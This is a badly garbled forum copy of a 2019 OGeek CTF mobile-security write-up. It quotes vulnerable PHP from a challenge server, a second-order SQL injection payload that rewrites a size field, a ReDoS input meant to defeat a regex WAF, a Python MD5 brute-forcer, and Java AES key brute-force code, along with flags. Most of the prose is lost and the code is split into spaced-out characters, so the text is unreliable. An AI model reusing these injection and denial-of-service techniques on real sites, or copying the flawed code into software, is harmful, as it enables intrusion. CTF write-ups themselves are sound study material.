[27707] 2019-11-01_OGeek线上CTF挑战赛移动安全题详细WriteUp

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2019-11-01_OGeek线上CTF挑战赛移动安全题详细WriteUp O G e e k 线 C T F W r i t e   U p   O S R C   O P P O   2 0 1 9 - 1 1 - 0 1   #     , 1 8 a n d r o i d P h a p i a p i h t t p s : / / s 2 . o g e e k . o p p o . c o m : 1 0 9 0 5 / i n d e x . p h p h t m l w e b v i e w c l i e n t p h p . p 1 2 4 a 1 7 4 1 d 8 e 2 2 f 4 f c 3 c e b u r p s u i t e i n d e x . p h p h t m l . z i p 使
P H P f l a g a d m i n c o d e a d m i n . p h p c o d e i n d e x . p h p S Q L u s e r u s e r s e m a i l u p d a t e S Q L S Q L f i l e f i l e c o m m e n t s i z e   $ s q l   =   " s e l e c t   c o d e   f r o m   a d m i n " ;         $ d b   =   n e w   D a t a _ d b ( ) ;         $ r e t   =   $ d b - > q u e r y S i n g l e ( $ s q l ) ; i f   ( $ r e t )   { i f   ( $ r e t   = = =   $ _ P O S T [ ' f l a g ' ] )                 {                         s e s s i o n _ u n s e t ( ) ; d i e ( $ f l a g ) ;                 } $ c o m m e n t   =   $ _ P O S T [ ' c o m m e n t ' ] ; $ s q l   =   " s e l e c t   u s e r   f r o m   u s e r s   w h e r e   i d   =   ' " . $ t h i s - > u s e r i d . " ' " ; $ d b   =   n e w   D a t a _ d b ( ) ; @ $ r e t   =   $ d b - > q u e r y S i n g l e ( $ s q l )   o r   0 ; $ d b - > c l o s e ( ) ; $ u s e r n a m e   =   $ r e t ; / / e g :   $ u s e r n a m e   =   " a a a ' , c o m m e n t s i z e   =   ' 1 2 3 4 ' - - " ; $ e m a i l   =   $ u s e r n a m e . " @ c t f . c o m " ; / / $ e m a i l   =   " a a a ' ,   c o m m e n t s i z e   =   ' 1 2 3 4 ' - - @ c t f . c o m " ; $ s q l   =   " U P D A T E   f i l e   S E T   e m a i l   =   ' " . a d d s l a s h e s _ t o _ s q l i t e ( $ e m a i l ) . " '   w h e r e   i d   =   " . $ t h i s - > u s e r i d ; / / $ s q l   =   " U P D A T E   f i l e   S E T   e m a i l   =   ' a a a ' ,   c o m m e n t s i z e   =   ' 1 2 3 4 ' - - @ c t f . c o m   w h e r e   i d   =   " . $ t h i s - > u s e r i d " $ d b   =   n e w   D a t a _ d b ( ) ; @ $ r e t   =   $ d b - > e x e c ( $ s q l ) ; $ b r _ p a d d i n g   =   ( i n t ) ( $ _ P O S T [ ' p a d d i n g ' ] ) ; $ c o m m e n t _ s i z e   =   s t r l e n ( $ c o m m e n t ) ; $ s q l   =   " s e l e c t   c o m m e n t s i z e   f r o m   f i l e   w h e r e   u s e r i d   =   " . $ t h i s - > u s e r i d . " " ; $ d b   =   n e w   D a t a _ d b ( ) ; @ $ r e t   =   $ d b - > q u e r y S i n g l e ( $ s q l )   o r   0 ; $ d b - > c l o s e ( ) ; i f ( $ r e t ) {         $ m a x _ c o m m e n t _ s i z e   =   $ r e t ;
c o m m e n t s i z e t r u e B o o l W A F P H P   P C R E   d o s d o s p y t h o n r e d o s d o s <   5 0 0 0         $ m a x _ c o m m e n t _ s i z e   =   $ r e t ; } e l s e {         $ m a x _ c o m m e n t _ s i z e   =   - 1 ; } i f ( (   $ c o m m e n t _ s i z e   +   $ b r _ p a d d i n g )   >   $ m a x _ c o m m e n t _ s i z e ) { / / h t m l         $ c o m m e n t   =   p r e g _ r e p l a c e ( ' / ( < . * > ) + / ' , ' ' , $ c o m m e n t ) ; i f ( s t r l e n ( $ c o m m e n t )   >   $ m a x _ c o m m e n t _ s i z e )         { / / f l a g / / s e n d _ m a i l ( $ e m a i l , " ! " ) ; r e t u r n   t r u e ;         } e l s e         {                 $ e m a i l   =   " a d m i n @ c t f . c n " ; / / f l a g / / s e n d _ m a i l ( $ e m a i l , $ c o m m e n t ) ; r e t u r n   t r u e ;         } } e l s e { / / b r         $ c o m m e n t   =   p r e g _ r e p l a c e ( ' / ( < ( / ) ? b r > ) + / ' , ' ' , $ c o m m e n t ) ;         $ e m a i l   =   " a d m i n @ c t f . c n " ; / / f l a g / / s e n d _ m a i l ( $ e m a i l , $ c o m m e n t ) ; r e t u r n   t r u e ; } p r i v a t e   f u n c t i o n   i s _ e x i s t s ( $ u s e r n a m e ) {                 $ s q l   =   " s e l e c t   u s e r   f r o m   u s e r s   w h e r e   u s e r   =   ' " . a d d s l a s h e s _ t o _ s q l i t e ( $ u s e r n a m e ) . " ' " ;                 $ d b   =   n e w   D a t a _ d b ( ) ;                 @ $ r e t   =   $ d b - > q u e r y S i n g l e ( $ s q l ) ;                 $ d b - > c l o s e ( ) ; i f ( $ r e t ) r e t u r n   t r u e ; e l s e i f ( p r e g _ m a t c h ( " / ( R A N D O M B L O B ) | ; / i s " , $ u s e r n a m e ) ) r e t u r n   t r u e ; / / W A F   i s   h e r e r e t u r n   f a l s e ;         } < ? p h p $ c o m m e n t   =   s t r _ r e p e a t ( " < " , 2 0 0 0 0 ) ; $ c o m m e n t   =   p r e g _ r e p l a c e ( ' / ( < . * > ) + / ' , ' ' , $ c o m m e n t ) ; ? >
<   1 5 0 0 0
c o m m e n t s i z e a d m i n c o d e c o m m e n t s i z e d o s c o d e   <   使 p r e g _ r e p l a c e ( ' / ( < . * > ) + / ' , ' ' , $ c o m m e n t ) 使 p r e g _ r e p l a c e ( ' / ( < ( / ) ? b r > ) + / ' , ' ' , $ c o m m e n t ) i f ( (   $ c o m m e n t _ s i z e   +   $ b r _ p a d d i n g )   >   $ m a x _ c o m m e n t _ s i z e )   e l s e $ c o m m e n t _ s i z e   <           $ c o m m e n t _ s i z e   =   s t r l e n ( $ _ P O S T [ ' c o m m e n t ' ] ) ; $ b r _ p a d d i n g p a d d i n g         $ b r _ p a d d i n g   =   ( i n t ) ( $ _ P O S T [ ' p a d d i n g ' ] ) ; $ m a x _ c o m m e n t _ s i z e c o m m e n t s i z e                           $ _ P O S T [ ' c o m m e n t ' ]   <   p a d d i n g $ m a x _ c o m m e n t _ s i z e c o m m e n t < 3 1 1 7 0 p a d d i n g   =   - 3 0 9 6 9
p a d d i n g   =   - 3 0 9 7 0 $ m a x _ c o m m e n t _ s i z e   =   3 1 1 7 0 - 3 0 9 7 0   = 2 0 0 c o m m e n t s i z e 2 0 0 a d m i n c o d e a d m i n . p h p 使
i m p o r t   m u l t i p r o c e s s i n g f r o m   o s   i m p o r t   u r a n d o m f r o m   h a s h l i b   i m p o r t   m d 5 i m p o r t   s y s p r o c e s s o r _ n u m b e r   =   8 d e f   w o r k ( c i p h e r ) : f o r   i   i n   x r a n g e ( 1 0 0 ) :                 p l a i n   =   u r a n d o m ( 1 6 ) . e n c o d e ( ' h e x ' ) i f   m d 5 ( p l a i n ) . h e x d i g e s t ( ) [ : 6 ]   = =   c i p h e r : p r i n t   p l a i n                         s y s . e x i t ( 0 ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         c i p h e r   =   r a w _ i n p u t ( ' m d 5 : ' ) p r i n t   ' P r o c e s s o r   N u m b e r : ' ,   m u l t i p r o c e s s i n g . c p u _ c o u n t ( )         p o o l   =   m u l t i p r o c e s s i n g . P o o l ( p r o c e s s e s = p r o c e s s o r _ n u m b e r ) w h i l e   T r u e :                 p l a i n   =   u r a n d o m ( 1 6 ) . e n c o d e ( ' h e x ' )
f l a g f l a g { 1 e 1 4 c f 6 a c 0 8 d 8 8 6 c 0 3 3 0 e e 1 9 e e 2 c 4 b c 3 } m B l o c k C h a i n k e y                 p l a i n   =   u r a n d o m ( 1 6 ) . e n c o d e ( ' h e x ' )                 p o o l . a p p l y _ a s y n c ( w o r k ,   ( c i p h e r ,   ) )         p o o l . c l o s e ( )         p o o l . j o i n ( ) p u b l i c   s t a t i c   b o o l e a n   c h e c k F l a g ( S t r i n g   k e y S t r ,   S t r i n g   f l a g S t r )   t h r o w s   E x c e p t i o n   { b y t e [ ]   d i g e s t   =   h a s h ( k e y S t r . g e t B y t e s ( ) ) ; b y t e [ ]   c u r r K e y   =   h a s h ( n e w   b y t e [ ] { d i g e s t [ 0 ] ,   d i g e s t [ d i g e s t . l e n g t h   /   2 ] ,   d i g e s t [ d i g e s t . l e n g t h   -   1 ] } ) ; b y t e [ ]   c u r r P t   =   f l a g S t r . g e t B y t e s ( ) ; f o r   ( i n t   i   =   0 ;   i   <   1 0 ;   i + + )   {                         c u r r P t   =   e n c r y p t ( c u r r P t ,   c u r r K e y ) ;                         c u r r K e y   =   h a s h ( c u r r K e y ) ;                 } i f   ( t o H e x ( c u r r P t ) . e q u a l s ( " 7 4 f 0 b 1 6 5 d b 8 a 6 2 8 7 1 6 b 5 3 a 9 d 4 f 6 4 0 5 9 8 0 d b 2 f 8 3 3 a f a 1 e d 5 e e b 4 3 0 4 c 5 2 2 0 b d c 0 b 5 4 1 f 8 5 7 a 7 3 4 8 0 7 4 b 2 a 7 7 7 5 d 6 9 1 e 7 1 b 4 9 0 4 0 2 6 2 1 e 8 a 5 3 b a d 4 c f 7 a d 4 f c c 1 5 f 2 0 a 8 0 6 6 e 0 8 7 f c 1 b 2 f f b 2 1 c 2 7 4 6 3 b 5 7 3 7 e 3 4 7 3 8 a 6 2 4 4 e 1 6 3 0 d 8 f a 1 b f 4 f 3 8 b 7 e 7 1 d 7 0 7 4 2 5 c 8 2 2 5 f 2 4 0 f 4 b d 2 b 0 3 d 6 c 2 4 7 1 e 9 0 0 b 7 5 1 5 4 e b 6 f 9 d f b d f 5 a 4 e c a 9 d e 5 1 6 3 f 9 b 3 e e 8 2 9 5 9 f 1 6 6 9 2 4 e 8 a d 5 f 1 d 7 4 4 c 5 1 4 1 6 a 1 d b 8 9 6 3 8 b b 4 d 1 4 1 1 a a 1 b 1 3 0 7 d 8 8 c 1 f b 5 " ) )   { r e t u r n   t r u e ;                 } r e t u r n   f a l s e ;         } p u b l i c   s t a t i c   b y t e [ ]   e n c r y p t ( b y t e [ ]   i n ,   b y t e [ ]   k e y )   t h r o w s   E x c e p t i o n   {                 K e y   a e s K e y   =   n e w   S e c r e t K e y S p e c ( k e y ,   " A E S " ) ;                 C i p h e r   e n c r y p t C i p h e r   =   C i p h e r . g e t I n s t a n c e ( " A E S / E C B / P K C S 5 P a d d i n g " ) ;                 e n c r y p t C i p h e r . i n i t ( 1 ,   a e s K e y ) ;                 B y t e A r r a y O u t p u t S t r e a m   o u t p u t S t r e a m   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 C i p h e r O u t p u t S t r e a m   c i p h e r O u t p u t S t r e a m   =   n e w   C i p h e r O u t p u t S t r e a m ( o u t p u t S t r e a m ,   e n c r y p t C i p h e r ) ;                 c i p h e r O u t p u t S t r e a m . w r i t e ( i n ) ;                 c i p h e r O u t p u t S t r e a m . f l u s h ( ) ;                 c i p h e r O u t p u t S t r e a m . c l o s e ( ) ; r e t u r n   o u t p u t S t r e a m . t o B y t e A r r a y ( ) ;         } p u b l i c   s t a t i c   b y t e [ ]   h a s h ( b y t e [ ]   i n )   t h r o w s   E x c e p t i o n   {                 M e s s a g e D i g e s t   m d   =   M e s s a g e D i g e s t . g e t I n s t a n c e ( " M D 5 " ) ;                 m d . u p d a t e ( i n ) ; r e t u r n   m d . d i g e s t ( ) ;         } f o r   (   i n t   i   =   - 1 2 8 ;   i   <   1 2 8 ;   i + + )   { f o r   (   i n t   j   =   - 1 2 8 ;   j   <   1 2 8 ;   j + + )   { f o r   (   i n t   k   =   - 1 2 8 ;   k   <   1 2 8 ;   k + + )   {                                         f i n a l   b y t e [ ]   c u r r K e y   =   n e w   b y t e [ ] { ( b y t e )   k ,   ( b y t e )   j ,   ( b y t e )   i } ; / /                                         n e w   T h r e a d ( n e w   R u n n a b l e ( )   { / /                                                 @ O v e r r i d e / /                                                 p u b l i c   v o i d   r u n ( )   { t r y   {                                                                 d e c o d e F l a g ( c u r r K e y ) ;                                                         }   c a t c h   ( E x c e p t i o n   e )   {                                                                 e . p r i n t S t a c k T r a c e ( ) ;                                                         }                                                         S y s t e m . o u t . p r i n t l n ( c u r r K e y [ 0 ] + "   " + c u r r K e y [ 1 ] + "   " + c u r r K e y [ 2 ] ) ; / /                                                 } / /                                         } ) . s t a r t ( ) ;                                 }                         }                 }
f l a g , f l a g { j u s t r u n } 线 线 使 线 线 O A S y s t e m a p k 使 a p i h t t p s : / / s 1 . o g e e k . o p p o . c o m : 1 0 9 0 5 / u s e r / l o g i n S t r i n g   d a t a   =   " n a m e = " + n a m e + " & p a s s w d = " + p a s s w o r d ; J a v a p o s t n a t i v e p u b l i c   s t a t i c   b y t e [ ]   d e c r y p t ( b y t e [ ]   i n ,   b y t e [ ]   k e y )   t h r o w s   E x c e p t i o n   {                 K e y   a e s K e y   =   n e w   S e c r e t K e y S p e c ( k e y ,   " A E S " ) ;                 C i p h e r   e n c r y p t C i p h e r   =   C i p h e r . g e t I n s t a n c e ( " A E S / E C B / P K C S 5 P a d d i n g " ) ;                 e n c r y p t C i p h e r . i n i t ( C i p h e r . D E C R Y P T _ M O D E ,   a e s K e y ) ;                 B y t e A r r a y O u t p u t S t r e a m   o u t p u t S t r e a m   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 C i p h e r O u t p u t S t r e a m   c i p h e r O u t p u t S t r e a m   =   n e w   C i p h e r O u t p u t S t r e a m ( o u t p u t S t r e a m ,   e n c r y p t C i p h e r ) ;                 c i p h e r O u t p u t S t r e a m . w r i t e ( i n ) ;                 c i p h e r O u t p u t S t r e a m . f l u s h ( ) ;                 c i p h e r O u t p u t S t r e a m . c l o s e ( ) ; r e t u r n   o u t p u t S t r e a m . t o B y t e A r r a y ( ) ;         } p u b l i c   s t a t i c   v o i d   d e c o d e F l a g ( b y t e [ ]   k e y )   t h r o w s   E x c e p t i o n { b y t e [ ]   c u r r P t   =   h e x S t r i n g T o B y t e A r r a y ( " 7 4 f 0 b 1 6 5 d b 8 a 6 2 8 7 1 6 b 5 3 a 9 d 4 f 6 4 0 5 9 8 0 d b 2 f 8 3 3 a f a 1 e d 5 e e b 4 3 0 4 c 5 2 2 0 b d c 0 b 5 4 1 f 8 5 7 a 7 3 4 8 0 7 4 b 2 a 7 7 7 5 d 6 9 1 e 7 1 b 4 9 0 4 0 2 6 2 1 e 8 a 5 3 b a d 4 c f 7 a d 4 f c c 1 5 f 2 0 a 8 0 6 6 e 0 8 7 f c 1 b 2 f f b 2 1 c 2 7 4 6 3 b 5 7 3 7 e 3 4 7 3 8 a 6 2 4 4 e 1 6 3 0 d 8 f a 1 b f 4 f 3 8 b 7 e 7 1 d 7 0 7 4 2 5 c 8 2 2 5 f 2 4 0 f 4 b d 2 b 0 3 d 6 c 2 4 7 1 e 9 0 0 b 7 5 1 5 4 e b 6 f 9 d f b d f 5 a 4 e c a 9 d e 5 1 6 3 f 9 b 3 e e 8 2 9 5 9 f 1 6 6 9 2 4 e 8 a d 5 f 1 d 7 4 4 c 5 1 4 1 6 a 1 d b 8 9 6 3 8 b b 4 d 1 4 1 1 a a 1 b 1 3 0 7 d 8 8 c 1 f b 5 " ) ;                 L i s t < b y t e [ ] >   k e y s   =   n e w   A r r a y L i s t < > ( ) ;                 k e y s . a d d ( F l a g C h e c k e r . h a s h ( k e y ) ) ; f o r   ( i n t   i   =   1 ;   i   < 1 0 ;   i + + )   {                         k e y s . a d d ( F l a g C h e c k e r . h a s h ( k e y s . g e t ( i - 1 ) ) ) ;                 } f o r   ( i n t   i   =   0 ;   i   <   1 0 ;   i + + )   {                         c u r r P t   =   d e c r y p t ( c u r r P t ,   k e y s . g e t ( 9   -   i ) ) ;                 }                 S t r i n g   r e s   =   n e w   S t r i n g ( c u r r P t ) ; i f   ( r e s . s t a r t s W i t h ( " f l a g " ) )   {                         S y s t e m . o u t . p r i n t l n ( T h r e a d . c u r r e n t T h r e a d ( ) + " = " + k e y [ 0 ] + "   " + k e y [ 1 ] + "   " + k e y [ 2 ] + "   " + r e s ) ;                         S y s t e m . e x i t ( 0 ) ;                 }         } p u b l i c   s t a t i c   b o o l e a n   i s A S ( S t r i n g   s t r )   { f o r   ( i n t   i   =   0 ;   i   <   s t r . l e n g t h ( ) ;   i + + )   { c h a r   c   =   s t r . c h a r A t ( i ) ; i f   ( c   < 3 2   | |   c   >   1 2 6 )   { r e t u r n   f a l s e ;                         }                 } r e t u r n   t r u e ;         }
v 3 9 v 5 2 p o s t 0 x 1 d ( ) h o o k
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则